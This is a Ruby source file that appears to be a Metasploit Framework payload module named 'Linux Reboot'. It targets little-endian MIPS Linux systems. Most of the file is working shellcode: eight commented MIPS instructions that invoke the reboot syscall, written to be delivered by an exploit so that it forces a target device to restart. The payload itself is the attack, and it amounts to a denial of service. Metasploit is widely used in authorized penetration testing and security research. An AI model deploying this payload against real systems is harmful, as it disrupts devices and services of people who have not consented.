reboot.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 32

  include Msf::Payload::Single

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Linux Reboot',
        'Description' => %q{
          A very small shellcode for rebooting the system using
          the reboot syscall. This payload is sometimes helpful
          for testing purposes. Requires CAP_SYS_BOOT privileges.
        },
        'Author' => [
          'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload
          'rigan - <imrigan[at]gmail.com>' # original payload
        ],
        'References' => [
          ['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
          ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSLE,
        'Payload' => {
          'Offsets' => {},
          'Payload' => ''
        }
      )
    )
  end

  def generate(_opts = {})
    shellcode =
      "\x21\x43\x06\x3c" +  # lui     a2,0x4321
      "\xdc\xfe\xc6\x34" +  # ori     a2,a2,0xfedc
      "\x12\x28\x05\x3c" +  # lui     a1,0x2812
      "\x69\x19\xa5\x34" +  # ori     a1,a1,0x1969
      "\xe1\xfe\x04\x3c" +  # lui     a0,0xfee1
      "\xad\xde\x84\x34" +  # ori     a0,a0,0xdead
      "\xf8\x0f\x02\x24" +  # li      v0,4088
      "\x0c\x01\x01\x01"    # syscall 0x40404

    return super + shellcode
  end
end